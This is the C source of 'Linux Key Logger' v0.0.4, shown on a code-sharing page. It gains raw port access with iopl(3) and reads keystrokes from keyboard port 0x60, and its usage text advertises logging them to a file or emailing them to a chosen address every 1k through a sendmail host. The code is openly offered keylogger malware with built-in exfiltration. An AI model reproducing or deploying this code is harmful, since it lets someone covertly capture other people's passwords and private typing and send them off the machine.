📄 lkl.c
字号:
#include "lkl.h"unsigned int key_map(const char* outfile,const char* km_file){ struct lkl lkl; memset(&lkl,0,sizeof(lkl)); lkl.port=0x60; lkl.log=1; lkl.debug=1; lkl.outfile=outfile; lkl.km_file=km_file; def_keymap(lkl.km_file); start_log(&lkl);}void start_log(struct lkl *lkl){ int pressed_shift, pressed_alt; unsigned char c, table[TABLE_SIZE]; c = pressed_shift = pressed_alt = 0; bzero(table, TABLE_SIZE); //get privlige of read all port if(iopl(3) == -1){ perror("iopl()"); exit(1); } while(1){ while((inb(0x64)&32)); /* fix ps/2 mouse interference */ c = inb(lkl->port); if(c < 10){ usleep(MSEC); continue; } c = inb(lkl->port); if(lkl->debug) fprintf(stderr, "c=%d ", c) ; if(c < TABLE_SIZE){ if(table[c] != 1){ if((c == 42) // LShift || (c == 54)) // RShift lkl->pressed_shift = 1; if(c == 56) // LAlt, RAlt (dang!) lkl->pressed_alt = 1; do_output(c, lkl); fflush(0); } table[c] = 1; }else{ if(lkl->debug) fprintf(stderr, "d=%d ", (c&127)); table[c & 127] = 0; //&127 delete the pair bit if((table[42] == 0) // LShift && (table[54] == 0)) // RShift lkl->pressed_shift = 0; /*if(table[56] == 0)*/ lkl->pressed_alt = 0;//mouse-bug...i'm sorry about that } usleep(MSEC); //Don't freeze your system, dude :P } }void usage(){ printf("\n-- Linux Key Logger vers 0.0.4 --\n"); printf("\tusage:\n"); printf("\t\t-h this help\n"); printf("\t\t-l start to log the 0x60 port (keyboard)\n"); printf("\t\t-b Debug Mode.Perhaps it's useful :P\n"); printf("\t\t-d <key_stat_file> Dump the Key Press Stat\n"); printf("\t\t-k <km_file> set a keymap file\n"); printf("\t\t-o <o_file> set an output file\n"); printf("\t\t-s <s_file> set a key-press statistics output file\n"); printf("\t\t-m <email> send logs to <email> every 1k\n"); printf("\t\t-t <host> hostname for sendmail server. default is localhost\n"); printf("\nExample: lkl -l -k keymaps/it_km -o log.file\n\n");}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -